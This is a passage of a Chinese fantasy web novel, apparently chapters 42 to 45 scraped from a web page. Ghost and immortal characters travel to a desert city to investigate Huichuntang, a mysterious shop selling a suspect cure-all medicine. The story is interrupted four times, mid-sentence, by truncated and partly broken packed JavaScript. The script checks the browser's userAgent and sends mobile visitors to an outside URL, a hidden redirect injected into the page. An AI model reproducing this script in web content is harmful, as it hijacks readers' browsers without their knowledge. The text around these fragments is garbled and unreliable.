姬润会意,一边面不改色扯谎,一边不忘在桌下踢回去:“阿离是吗,实在不好意思啊。我先前在西域那个村子消耗太大了,还没缓过来。可涉及魔物,事关重大,能不能麻烦你再帮帮我们,等我身体调整好了,你可以随时离开。” 这一番话恳切且滴水不漏,听得常瀞当即在桌下又朝姬润比了个大拇指。郁离狐疑地在姬润和常瀞之间看来看去,企图找出这两人联合起来骗他的证据,最后败在了姬润那苍白的面色和时不时的咳嗽声中,虽然他也不记得姬润是不是一直如此。 施娘暗自叹了一口气,觉得八成是把郁离带不走了,她叫来褚游附在他耳朵旁说了几句话。褚游听完,笑嘻嘻揽过郁离的肩:“那我也和你们一起,走吧,星君。” …… 西域。 太阳高悬于天空之上,将沙漠炙烤得滚烫,西域独有的燥热,让自从成为鬼以后再也没有感受过热的郁离额头上都沁出了一层细汗。就算是这样,一旁的姬润在如此炎热的天气下,依然小脸发白,只是把他那个从不离手的暖炉收了起来。 郁离在心中安慰自己,姬润或许真的没骗他,这一趟是有必要的,不怪他意志不坚定。 常瀞御剑向高处飞去辨认方向,回来后道:“下去歇一会儿吧,快到浦黎城了,接下来的路咱们得走过去。” 郁离从一只鸟型傀上跳下来,梳理了一下它因长时间飞行有些杂乱的羽毛,最后摸摸它的头,将它收回去了。 就这一点时间,常瀞已经迅速在空旷的沙漠上搭出了一片可以遮阳的精致凉棚。两把纸伞被施了放大术插进沙地里,其下的阴影里摆放了四把椅子和一张桌子,桌上甚至还有散发着丝丝凉意的新鲜瓜果和用来解渴的茶水。 郁离:“……”他真是半点都不能委屈自己。 褚游和鼠爷同时瞄上一块西瓜,鼠爷胳膊太短,没抢上,气得吱吱大叫。抢到西瓜、得意忘形的褚游故意举着西瓜在鼠爷眼前晃来晃去,被鼠爷逮住机会一口咬掉了最甜的西瓜尖。褚游傻眼了,掐着鼠爷脖子就想让他吐出来。 郁离习惯性忽视褚游和鼠爷的打闹,问起他们即将要去的地方:“这浦黎城你们了解吗?” “浦黎城算是西域与中原互通商贸的其中一个比较大的城市,听说城里有一个很大的集市,鱼龙混杂,卖什么的都有。我和山旭遇到的满是魔尸的村子就跟浦黎城挨得比较近,那里的村民一般都会选择去浦黎城换取生活所需。”姬润小口小口用茶水润嗓子,“道君发现这两个出现魔尸的村子,最先出事的村民都在浦黎城买过一种药。” “药?” “对,就在浦黎城那个集市上,近来新开了一家店,听村民说打着包治百病的旗号,许多人哄抢。” “包治百病,听着就不是什么正经药。”褚游呵了一声。 姬润接着道:“药确实有问题。有村民帮道君在变成魔尸的人家中翻出了没用完的几瓶药,药丸里加了花妖产出的花粉,里面还有很淡的魔物气息。药瓶上被施加了隔绝气息的阵法,对方很是谨慎。” “花妖。”郁离想到了被魔物盯上的红药。 “吃了药就变魔尸?如此一来,那吃过药的人不是都很危险。”常瀞摇着扇子。 姬润手指摩挲杯壁:“或许也没那么玄,只吃药就变魔尸,这西域现在怕是已经成魔物的天下。不过,这药的销路和制作源头咱们还是得尽快查出来。” “叮当叮当。”远处驼铃声阵阵,似乎有商队要经过。郁离推了下常瀞,让他把这些不适合出现在沙漠上的东西都收回去。 一队骆驼载着沉甸甸的货物翻过沙丘出现在他们眼前,这个商队一行八人,人人佩刀,队伍末尾的那人似乎还有修为在身。商队停下,领头那人走过来,蓄着杂乱的胡子,额角还有一道明显的伤疤,看似凶神恶煞,一笑却很是友好:“我叫虞八,我们的商队从中原过来。几位是要去浦黎城吗?走累了吧,我们路上卖了些货,有空着的骆驼,要不要跟我们一道进城。” 郁离还没放下戒心,常瀞已经快活地应下了。到城门的路还有一截呢,靠双腿走过去多累啊。再说了,他们要去的地方不就是集市吗,跟着商队走,准没错。 没驼货物的骆驼只有两头,两人共骑一头倒也堪堪够用。郁离理所当然准备邀诸游共骑,他口还未张,在经过常瀞身下那头睫毛很长的骆驼时,就被拦腰抱起,坐进了常瀞怀里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572778|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郁离:“……” 睫毛精骆驼打了个响鼻,抬起前腿站起来,彻底绝了郁离想要下去的后路。 在他们身后,诸游礼貌地将最后一头骆驼让给脸色苍白的姬润,他则跟着商队步行,反正骆驼走得也不快。 姬润推辞了几番后,欣然领了诸游的好意,翻身骑上骆驼。 就在这时,虞八的笑容染上狡黠:“忘了跟你们说了,骑骆驼要付钱的哦。不过我看你们的打扮,应该也不差这几个钱吧。” 郁离:“……”果真是商人本色,他不必警惕了。 商队重新出发,诸游昂首挺胸跟在骆驼边上溜达,也不觉得这沙漠里热了。开什么玩笑,就算重寒酥不在,他也不会背着他和其他人共骑一头骆驼。 骑在骆驼上时有颠簸,郁离的后背不断撞上常瀞前胸。几次下来,常瀞发现了一个小秘密,他摸上郁离的脖颈,眼睛亮了:“你身上好凉啊。” 郁离侧身避开他的手,没好气道:“我是鬼,能不凉吗?” 常瀞一愣,因为郁离如今还能在他身边晃来晃去,他有时会忘记郁离死过一回的事。想到这里,他眼中流露出一丝哀伤,动作上却半分没有表示出来。他双手环过郁离的腰,下巴挨着郁离肩窝,将自己整个人贴上去。 脸侧炙热的呼吸让郁离浑身僵硬,他推了几下常瀞,没推开:“星君,放手。” 常瀞咕哝:“不放,让我抱抱。” 他们的位置毕竟在队伍末尾,郁离实在推不开,怕动静太大引人注意,便随他去了。也幸亏他们在末尾,没让诸游瞧见,不然施娘派给他此行的任务,一开始就失败了。 或许是收了钱,虞八意外的热心,很快和诸游打成一片,倒出了很多关于浦黎城集市的消息。 “这浦黎城的商铺,就数两家做得最大,其中一家就是我们商队的东家,从中原来的虞家,主要做西域和中原交换物产的生意。”提起自家生意,虞八无比自豪,然后面露嫌弃,轻描淡写地带了下另一家:“还有一家姓马,那老板奇奇怪怪的,你们少搭理他。” 姓虞,又是从中原来的,诸游后知后觉想起了中原青山镇的虞府。 应该是巧合吧,他在心里想。 商队在城门口接受完盘查,顺利进了城。骆驼们重新上路,慢悠悠进了浦黎城的集市。虞家在浦黎城,果然如虞八所说影响甚大,光瞧着一排排带着金碧辉煌商铺的门头就知道了。 虞家早已准备妥当,骆驼一到,便有人迅速解下它们身上驮着的货物,分门别类装箱,又送往各个店铺。 “八爷,这一趟路上顺利吧。”有个小厮打扮的人带着笑迎上前。 “顺利着呢。哦对了,这有几个路上遇见的兄弟,刚来浦黎城,你带着去咱们家客栈吧,客气点儿。”虞八指了指跟着他进门的几人,随口道。 郁离一进这间商行,就被墙上的一副画像吸引了目光,身边有脚步声停下,他转头一看,常瀞和诸游也齐齐站在了画像下。 他叫住虞八:“请问,这画像上的人是叫虞峰吗?” 43. 回春(一) 虞八已经快要走进内室,听到郁离发问又退回来:“你们是从青山镇来的?怎么会知道我家老爷的名讳?” 郁离思忖片刻,没有说他们是如何同虞府有牵扯的,只是道:“虞晖是我们的朋友。” 说是朋友也不算错吧,毕竟他们从青山镇离开时,虞晖还让他们有空常来玩。 “原来是少爷的朋友啊,你们怎的不早说!”虞八的眼神缓和下来,“唉,瞧我这嘴,少爷都当家了,不能再叫少爷了。” 虞八客客气气将他们请进内室,命人端上上好的茶水。商行内室的陈设处处讲究奢华,和他们在青山镇的大本营相比毫不逊色,足见虞家在这浦黎城中的实力。 姬润寒暄道:“您太客气了。” “哪里哪里,既然是少爷的朋友,那就也是虞家商行的朋友。”虞八爽朗一笑,想起什么,又迟疑着问道,“你们来浦黎城前还见过虞峰虞老爷吗?老爷故去的消息来得太突然,我还在押货的路上,都没能去送送老爷。” 郁离回想起虞峰尸体最后被刺的千疮百孔的样子,愣是不知道该怎么告诉他,只能模棱两可道:“虞老爷走得挺快,生前没受什么大罪。” 虞府惨剧背后的真相太过离奇,虞晖为了父亲的名誉和虞家的生意,应当不会说出真相吧。 “那还挺好。” “你很敬重虞峰。”郁离多问了一句。 虞八语气变得沉痛:“当然,老爷是个好人呐。我小时候家里穷,住在山里,有一年大雨,山洪冲垮了我们家的房子,爹娘都被埋在里面了。我运气好,活了下来,又被当时来救灾的老爷带回去。老爷给我吃给我穿,还交给我做生意的本事,是老爷给了我第二条命。” 郁离的眼神有些复杂,虞峰此人的好坏挺难界定,说他心狠手辣,他实打实做了许多善事,改变了许多人的命运,说他慈悲为怀,他又确确实实残害了八个无辜的孩子。 常瀞夸赞虞八上得这茶是好茶,又吹捧了一番虞家在浦黎城的生意当真红火,把虞八哄到高兴地称兄道弟起来,才不动声色把话题转移到他们此番的目的上:“虞兄,我们初来乍到对浦黎城也不了解,这回全仰仗你了。我家中有人病重,听闻浦黎城有能包治百病的神药,专门才此求药,不知虞兄对这药了解多少。” 虞八一拍大腿:“常兄,不是我打击你,都是浪费钱。城中新开的回春堂是卖这药,可那帮人神神秘秘的,一看就不是正经卖药的。还说什么包治百病,呸,什么药能这么灵,我反正是不信。” 褚游听他说得有趣:“是怎么个神秘法。” “回春堂不管那叫卖药,叫赐药,每月随机赐两回药,一次只有百瓶,所以那回春堂天天天不亮就排起长队。不仅如此,前来求药的人还得恭敬跪地磕头,念一大段感谢堂主的鬼话,才能拿到药。” 郁离:“堂主是何人?” “不清楚,没人见过。” “那是够有意思的。”消息了解的也差不多了,常瀞合起扇子起身道别,“我们还是去看看,多谢虞兄。” 亲人病重,确实无论什么法子都会想去碰碰运气。虞八想到这里,尽管他仍认为那回春堂是狗屁,到底没有再说出劝服的话。他叫来一直立在门边静静候着的小厮,郑重交代给这几位远道而来的朋友在客栈准备几间上房,小心伺候,这才匆忙离开,去处理商行等着他的好些事务。 小厮套来马车,一路上尽职尽责为他们介绍浦黎城的风土人情,哪家店的羊肉串鲜嫩多汁,哪家店的抓饭最是正宗,全都娓娓道来。 在虞家商行歇过一阵,姬润的脸色总算缓和一些:“小兄弟,你对这儿很了解嘛。” “几位爷唤我小六就成,我是中原人,但是是在浦黎城长大的。”小六低眉顺眼。 “哦?你也和虞八一样,是虞峰从中原带到这里的。” “是的。”小六顿了一下,“方才我听见几位爷要去回春堂?” 常瀞懒懒倚在马车上,眼睛半眯着:“怎么?你有点别的消息?” “没有没有,小的就是想说,几位爷要是想求回春堂的药,可以使唤小的去。当下浦黎城这么热,没必要亲自去排队。” 小六的过分热情让郁离有些不习惯,他连忙拒绝:“不用了,我们自己去便好。” 说话间,马车便到了客栈。虞家的客栈和先前的商行一样金碧辉煌,一楼单独辟出一片宽敞的区域做食肆。此刻早已过了午饭饭点,食客寥寥无几,但是瞧他们桌上摆的饭菜颜色,都很能令人食指大动。 鼠爷闻见饭菜香气眼睛都亮了,一扫先前在沙漠中晒得萎靡不振的模样,闹着要郁离去问问食肆都能做些什么菜,可靠的小六当即报出一串菜名,末了还道有什么其他想吃的,只要有食材,食肆也能做,鼠爷心满意足,决定晚饭时定要下来品鉴品鉴。 小六引着他们来到客栈顶楼,细心检查过每一间客房的陈设有无缺漏,最后告知了去回春堂的方向,这才离开:“那小的先告退了,这几天几位爷有什么事在一楼柜台那找我就成。” 小六离开了,常瀞收回脸上和煦的微笑,在房内转了一圈,他用两根手指拎起床上在郁离看来已经相当奢华的蚕丝薄衾,嫌弃地抛到一旁,换上他备的不知道什么布料,但看上去很是丝滑的薄被。 他们麻木地看着常瀞忙上忙下,没一会儿客房内就大变了样。常瀞一回头就发现那三人目光呆滞地盯着自己,他眼珠一转,话是对着所有人说的,眼神却定在郁离身上:“怎么,我不一向是这个毛病,还没习惯啊。一个个不回自己房里好好休息,还待在我这儿干嘛,是不是眼馋我的床想和我一起睡。” 常瀞话音刚落,他们三人约好明早去回春堂的时间便干脆利落地转身离开,其中要数郁离溜得最快。 西域的天气确实是太热了,再加上他们为了赶时间,路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601055|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上几乎不曾停歇,郁离回到鼠爷挑好的房里,拖着疲惫的身躯直接躺倒在床上。 耳畔是鼠爷呼呼大睡的声音,郁离终究是没抵挡过睡意,眼睛一闭睡了过去。 再睁眼,是被鼠爷摇醒的。鼠爷对于饭点的时间把控相当精准,他强撑着支起眼皮,带鼠爷下楼吃饭,等鼠爷酒足饭饱,他才又如释重负地回到客房,倒头就睡。 第二日一早,天上还挂着星子,郁离看了眼还沉浸在甜梦中的鼠爷,没忍心叫醒他,独自下楼和其他人汇合。他们匆忙赶到回春堂附近的街巷,远远便能看到人头攒动的景象。 “好家伙,这也太夸张了吧。”褚游打了个哈欠。 他们无奈地快走几步,缀在长队末尾处。郁离踮起脚向前望去,估算了一下人数,觉得回春堂就算今日开门,怕是也轮不到他们了。 也说不上他们是不是幸运,回春堂一月两次的赐药日真就让他们给撞上了。在天际亮起第一线阳光时,两个身着白衣的小童一左一右打开大门从回春堂走出来。小童在门口摆好桌椅,又共同抬着一个大木箱放在桌上后,便手执短剑端立在大门两侧。 一个胡子花白的老头也穿着一身白衣走出来坐在桌子后面,赐药开始了。方才还喧闹的人群静了下来,不再有人互相交流求药的急切和等待的漫长。真像是虞八说得那样,每一个人在拿到老头赐的药之前都得下跪磕头,念一通鬼话。 “神爱世人,堂主圣光,妙手回春。”一个接一个人,带着虔诚跪地高喊,随后满脸喜色地接过老头赐给他的小药瓶,小心揣进怀里匆匆离开。 前面排着的人越来越少,郁离傻眼了,难道他们也得干这么蠢的事儿?本来也是想先来探探,没想着求药,现在人混进队伍里即将要排到,突然四个人全都离开岂不是很扎眼。在意识到这一点后,他们开始疯狂用眼神互相示意彼此去求药,谁都不愿意去跪一个老头。 没等他们争出来一个求药的人,药赐完了。他们全都松了口气,这下好了,谁都不用丢这个脸了。 药也赐完了,没拿到药的人群中有了骚动,这很正常,每一次都有。两个小童和往常一样,执剑挡在老头身前,等老头进门,才开始收拾东西。 可是这一次却有了不同,没拿到药的人中,有一人修为不低,他好像十分焦急,高喊着让老头别走。小童阴着脸上前阻拦,竟没拦住,让那人闯进了回春堂。 破开一个口子,再合上便难了。随着人群的暴动,好几个人趁乱跟在后面闯入了回春堂,郁离他们自然不会放过这个机会,也跟着混了进去。 回春堂完全没有一个药铺的样子,大堂里十分空旷,窗户被一层黑纱遮挡得严严实实。借着昏暗的光线,郁离一路挤到人群边缘,想溜上楼看看。 他刚摸到楼梯的位置,一个人便从楼上走下来,那人厉声喝道:“大胆,谁准你们进来吵闹的!吵到堂主了,谁都别想拿药!” 44. 回春(二) 郁离上楼不成,又悄悄退回人群中。 从声音判断,来人是位年龄不大的女子。这名女子同样裹着一身白袍,和方才施药那几人不同的是,她还戴了白色的头纱和面纱,只露出一双眼睛。 突如其来的厉喝成功让嘈杂的大堂安静下来。在一片寂静中,女子站在高处满意地扫视一圈,忽然一边大笑一边捂着肚子弯下腰。 “哈哈哈哈哈哈被吓到了吧,真是对不起呢。哈哈哈都愣着干嘛,吵啊!都给我继续吵啊!”女子声音粗哑,笑得前俯后仰。 言行举止明显异常的女子,成功让闯入回春堂的这帮人更加紧张,没有人再敢随意出声。一时之间,安静的大堂里只有女子疯癫的大笑。女子笑了一阵似乎是笑累了,便倚在栏杆上朝楼下的人群看,她的眼神无波无澜,像是在看一群蝼蚁。 楼下依然是一片寂静,但是大家已经反应过来,慢慢开始向门外撤离。 就在这时,女子身后的黑暗里又传出来一道声音:“怎么还有这么多人,沙十七,让他们滚的快一点。” 沙十七?好奇怪的名字。距离大门最远的地方也开始动了,郁离无法,只能跟着一起后撤。他故意退的很慢,偷偷探出脑袋朝楼梯上看,想看清女子身后那人的模样,却是徒劳,那人站得靠后,仅能看见一个模糊的影子。 听到这个声音,方才如疯子一般的女子又恢复了正常,她站直身子,恭敬回道:“是。” 随后,众人不约而同在女子的叫骂声和威胁声中加快脚步,冲出了回春堂的大门。 那两个白衣小童不知从哪钻出来关上了回春堂的大门,在厚重木门阖上的一瞬间,郁离对上了那名叫沙十七的女子的视线,她的眼睛出奇的清澈,像是荒漠中泛着粼粼波光的清泉。 冲出来的人都被吓到,很快便四散而去,回春堂门外空无一人。郁离他们也随着人群散开,在街角处停下。 “吓死了,那个女人是不是这里有点问题啊。”褚游指了指头,“这回春堂越发假了,不然那药那么灵。为什么不先给她治一治。” 郁离拍了一下,让他小声一点。此处与回春堂的距离也没有很远,说不定附近还有人盯梢。 姬润起来时没吃饭,在附近的铺子上买了几个烤包子慢吞吞吃着:“看样子咱们得偷偷溜进去瞧瞧了,这回春堂里水很深呐。” 郁离和褚游都戴着面具不方便吃,拒绝了姬润递过来的烤包子。 “嗯。”常瀞被香气吸引,接过烤包子,“老规矩,晚上再来。” 天色渐明,街上的行人多了起来,郁离随意打量着周围,等常瀞和姬润吃完回客栈。他们现在所在的位置就是浦黎城的集市,集市很大,有好几条街,美食、铁器、木器、金银器、草药香料……分门别类,都聚集在各自的街道上。 他们买烤包子的这一家,就在集市的美食街上。附近的铺子纷纷开门迎客,西域瓜果清甜的果香夹杂着牛羊肉粗犷的独特风味直冲鼻腔,酒肆里的胡姬已经打起手鼓招揽客人,葡萄美酒在杯中闪着琥珀光。 “哎!你不是那个,小老板!还有在巷子门口的侍卫大哥!”一个脸很长的男子带着通身的珠光宝气走来,常瀞循声回头,他看见常瀞又开心喊道:“兄弟!你也在!” 郁离眼神迷茫,这人的脸长到离谱,如此明显的特征,他若是见过,不会不记得。常瀞和褚游同样是一脸迷惑。 男子急了,鬼鬼祟祟拉起衣领,趁着周围无人,他的脸慢慢变化,变成了一个长满毛的……马脸。郁离想起来了,这不是他和常静重逢时,来鸡鸣巷找他做鹿角的那个马头妖怪吗,没想到在浦黎城也能遇见熟人。 马头妖怪把脸变回去:“小老板、侍卫大哥、漂亮兄弟,还有个没见过的兄弟,你们四个这个组合好奇怪啊。” 常瀞被马头妖怪的称呼无语到了,他敷衍道:“我们几人在鸡鸣巷一见如故兴趣相投,结伴来西域游玩。” 姬润是知道褚游同为鸡鸣巷巷主内情的,他好奇问道:“为何他唤你侍卫大哥。” 褚游尴尬:“我一般没事儿都会在巷子门口站岗来着,这位……马兄,真挺令人印象深刻,一进鸡鸣巷大门就扔给我一锭金子,让我带路去妙笔。” “那你带了吗?” “当然没有,岂能因为一锭金子玩忽职守,我只是给马兄指了路。”褚游义正言辞,决口不提他指完路后马兄仍然给他塞了金子。 马头妖怪笑道:“叫俺老马就成,来来来,再遇即是缘,都来俺家坐坐。” 拗不过老马的热情,他们又回到了回春堂所在的那条街上,这一条街都是卖各色药材和香料的。当脚步停在紧挨回春堂一侧的药铺时,他们兴致缺缺的神色消失了,感谢老马,这真是给了他们一个大惊喜啊! 这间药铺从门外看,比虞家更为富丽堂皇,大门两侧一左一右摆着石老虎……和石马,门上横着一个大大的金色牌匾,上书一个“马”字。 郁离想起虞八曾提起过的,浦黎城里两个最大的商户,除了他们虞家,另一个是奇奇怪怪的马家。 不会……就是老马吧。 郁离问出来,老马哈哈大笑:“是俺是俺,所以你们别跟俺客气。俺娘子刚好也在,她也觉得你那副鹿角做得可精巧。” 从药铺横穿而过,背后连着一个院子,院子另一侧又是一间三层小楼。老马一进小院就放松地显出本体,他激动地朝小院里石桌前端坐的背影奔去:“娘子!来客人啦!就是做鹿角的那个小老板!” 那个背影高高壮壮,缓缓转过头来,是一个耳朵上别着一小束花的虎头妖怪。 郁离忽然觉得嗓子发干,下意识吞咽了一下。不是?!谁能告诉他!马妖和虎妖为什么会结为夫妻?!你说你娘子觉得鹿妖好看,真的不是边流口水边说的吗?! 虎头妖怪很有礼貌,见过客人后,重重锤了老马一拳:“讨厌,这么多人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629555|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,别叫我娘子。” 那一拳锤得老马后退三步,他似乎已经习惯,脸上还挂着甜蜜的微笑,娘子的一拳对他来说便是夫妻间的小情趣。他捂住胸口,在回味的甜蜜中注视着娘子离开的高壮背影。 “都坐,俺娘子去做点心了,你们一定得尝尝,她做的点心可好吃!”老马招呼他们坐下。 褚游结结巴巴问道:“敢问你是怎么娶到你娘子的。” “是吧!你们也觉得俺娘子好吧!”老马语气欢快,回忆起他们的初见,他摸着肚子上的一小圈肉:“你们别看俺现在这个样子,在遇见娘子前,俺可是我们马妖一族里最瘦弱的一个。俺爹娘没得早,又长得瘦小,总是被欺负。娘子就是在俺被欺负的时候出现的,她可厉害了,一爪就赶跑了欺负俺的几个人。” 郁离麻木地想,你确定你娘子当时不是想抓你们来吃? 老马羞涩道:“俺当时就被娘子那矫健的身手和娇美的面庞迷住了,哭着喊着抱住娘子的腿说要嫁给她,啊不,娶她。娘子一脚给俺踢开了,但是俺不放弃啊,俺摸清楚娘子的活动轨迹,天天在她的必经之路上放一小束花,最后终于把她打动啦。” 常瀞:“……妖族不是都避世吗,你们怎么做起生意了。” 老马的声音变得苦涩:“这不是娘子带俺去见岳丈,岳丈就问了俺一句话,能不能让娘子顿顿吃上肉。俺当时哪叫一个愁啊,俺就是一个瘦弱的马妖,如何捕猎。于是俺就打起来从人族买肉的主意,但是买肉要银子呐,这可怎么办。幸好俺们马妖一族的山头有大量珍稀草药,俺头脑也不错,靠卖草药起家,生意越做越大,从南疆辐射到中原、到西域。” 姬润大开眼界:“那怎么选择待在浦黎城了。” “娘子喜欢西域的牛羊肉,说这里放孜然,吃起来最香!”老马羞涩一笑。 姬润&褚游&常瀞&郁离:“……”行,很有说服力。 老马手舞足蹈:“真的香,你们吃过没?我等下叫人去买回来,放孜然烤的牛羊肉你们错过可会后悔的,连俺娘子她娘家人也时不时为了这一口跑来这里呢。” 见气氛烘托得差不多,郁离和常瀞交换了一个眼神,放低声音问起旁边的回春堂:“马兄,实不相瞒,我们这一趟是有任务在身的。我们有接到消息,说是回春堂卖假药。” 老马被郁离的谨慎带动,也捂住嘴小声道:“鸡鸣巷还管卖假药呢。” 郁离:“……” 常瀞一口气差点儿没上来,真是奇了怪了,这马妖是如何把生意做这么大的。他不再隐瞒,拍了拍姬润:“我和他从上清境而来,回春堂一事事关重要,希望你能帮帮我们。” “啊呀!兄弟你原来是上清境的仙君,难怪长得那样好看。”老马惊讶完,想起他们问起来的回春堂,朝回春堂那边啐了一口,气道:“我早看他们不顺眼了,一天到晚神神秘秘的。头几日大半夜还叮叮咣咣,吵得俺娘子睡不好觉。” 45. 回春(三) 姬润问:“回春堂有多少人?” 老马拧着眉回忆片刻,举起他只有一个脚趾的马蹄,不确定道:“十来号人?” “十来号人啊,那可以一闯。”褚游摩拳擦掌,迫不及待。 “对方修为如何?”郁离想起早晨在回春堂遇见的那名奇怪女子,“我们早晨在回春堂里还见到位浑身包得严严实实的女子,举止……有些异于常人,好像叫沙十七,你有见过她吗?” 老马举起蹄子挠头:“有是有,可是她除了打扮得古怪点,其他都挺正常啊。俺前几日和娘子在院子里砸沙包玩,娘子不小心把沙包给扔进回春堂院子里去了,俺壮着胆子去敲得门,就是这位沙十七给我捡回来的。她挺和气,还拿着沙包在手里颠了几下,反倒是后来出现的一个黑衣人,凶得嘞,让俺拿上东西赶快走。” 相反的回答让郁离陷入沉思,因为他始终忘不掉与沙十七最后对视的那一眼。 常瀞沿着老马家与回春堂相隔的院墙走了几个来回,停在一处墙下。这处院墙的对面,也就是回春堂里,恰有一棵枝繁叶茂的大树从墙上探出头来。他回眸一笑,笑得灿烂:“马兄,我们夜里恐怕还得来您家一趟。” 回到虞家客栈,鼠爷仍旧四仰八叉缩在被窝里安睡,和他清晨离开时相比姿势都没带变得。郁离为他掖了掖被角,回到桌前掏出一块细长的白色玉石开始雕刻。他雕得很入神,午饭也是在鼠爷醒来后的催促声里下楼买上来,匆匆扒了几口,又继续拿起刻刀。 不知不觉玉石碎屑铺了满桌,郁离轻轻吹去玉石表面的浮尘,满意地擦干净这枚已然成型的簪子,细心包在绒布里收好。他走到窗边伸了个懒腰,随意朝窗外看去,放松眼睛。 虞家客栈离集市很近,同样热闹,尽管此刻天色已然暗了下去,楼下还是有不少行人走动。集市上的胡琴声和琵琶声隐隐传来,在如昼的灯火下,许多行人的脸上都带有放松的笑意。 楼下有个赤脚的孩子提着一篮葡萄沿街叫卖,鼠爷听见有葡萄口水都要流下来了,非要让郁离买上来。葡萄提上来的时候还挂着层白霜,在楼梯的转角处,郁离被褚游喊住。 褚游食指勾着一壶酒,笑道:“西域上好的葡萄酒,来尝尝?” 郁离回房给鼠爷放了一串葡萄,剩下的一串带到了褚游房里。褚游已经把桌面收拾好,摆上了酒壶酒杯和几样小菜,就等着他去了。 “怎么样?”褚游盯着郁离喝下一杯。 郁离撇嘴,抛下两个字:“没味。” 褚游笑得眼泪都要下来了:“你真是。” “本来就是,鬼明明什么味道都尝不出来。” 褚游神色陶醉,品了一口:“尝不出来味道,还可以想象呐。” 郁离无语,不想与他争辩。两人你一杯我一杯,慢悠悠喝着,酒就下去了小半壶。 “不能喝啦,夜里还得去回春堂。”郁离将酒壶放远了一点。 褚游一把又抓回来,给自己满上:“怕什么,这酒又不烈,而且这一壶也没多少。” 郁离看褚游目光清明,自己也没有酒意上头的感觉,便放任他继续喝了,只是自己却没在动过那壶酒。虽然褚游说这酒不烈,但是自己酒量如何,心里还是有数的。 又是一杯下肚,褚游把酒杯重重一放,发出清脆的声响。他眼睛亮亮的,忽然吐出一句豪言:“这次过后,我准备同殿下表明心迹了。” “啊?”郁离揉了揉耳朵,不敢相信他听见了什么。 “我说。”褚游气势十足地又重复了一遍,“我准备同殿下表明心迹了。” 郁离拈了一颗葡萄压惊:“春神大人?” “是啊。” “可你先前不是还打算默默守护。” “那是我们才遇见,我也不知道后来我们会越来越熟悉。”褚游瞥了他一眼,转头不知道陷入了什么幻想,美滋滋补了一句,“而且我感觉,殿下对我也是有点意思的。” 郁离沉默片刻,劝道:“咱们……都是不知道什么时候,就要从这个世界上消失的,你之前不是也说了,朝不保夕的日子,不应当再拖一个人下水。” 褚游眼神暗淡了一瞬,语气却仍然坚定:“我当初来鸡鸣巷,除了受到酆都邀请,还有一个原因是和你一样的,就是想能再看看殿下。可是人呐,都是贪心的,在有了接触之后,便想要更多。从海平县回来,我才知道殿下这些年并没有看上去那般快乐,我心里疼得慌,想做点什么,想他笑,想他能发自内心的快乐。” “可是我没有立场。我就想着,如果殿下能给我一个机会,让我堂堂正正的站在他身边,我是不是就可以试着,把他从深渊里拉出来。我到鸡鸣巷快四百年,你也有两百年,已经很长啦。而且你瞧,咱们这么多年一点儿事都没有,只要鸡鸣巷不受到灭顶的冲击,说不定能让我和殿下一起,长长久久。” 褚游美得好像重寒酥已经答应他了一样,剥了一颗葡萄,塞进嘴里:“嘿!真甜!当初来这鸡鸣巷可真是我的福报!” 郁离还想说什么,看着他乐呵呵的样子,又张不开口。 褚游手指微凉,点了一下他的头,不知是说自己还是说郁离:“相隔几百年,还能有这等缘分重逢,实属不易,且珍惜吧。” 郁离不语,拿过酒壶把剩下的一口灌进嘴里了。 入夜,窗外的灯火几乎全灭了,郁离照旧把鼠爷留在了客栈里。几人在客栈楼下碰头,安静地踏着夜色,前往回春堂。 回春堂一旁的药铺留了一道不易察觉的门缝,老马等在门口探头探脑,看上去比他们还要紧张。 院子里没有点灯,常瀞看着四套叠得整整齐齐的夜行衣,嘴角抽搐:“马兄这是何意。” 老马捞起衣服往他身上比了比,悄声道:“很合适啊,这可是早上你们走后,俺专门去找的绣娘。哦,就在东头那条街上俺家的衣裳铺子,雇的蜘蛛妖,手脚可快了。这回要得急,她可是显出原身才赶出来的。” 常瀞沉默后退,他也想尝试下蜘蛛妖做的衣裳,毕竟听说蜘蛛妖是天生的裁缝,做得衣服都仙气飘飘,不似人间有,但是他拒绝怎么做都很丑的夜行衣。 郁离和姬润则在老马疑惑的眼神中接过夜行衣,同样沉默地胡乱套在身上。 褚游趴在院墙上听了听对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 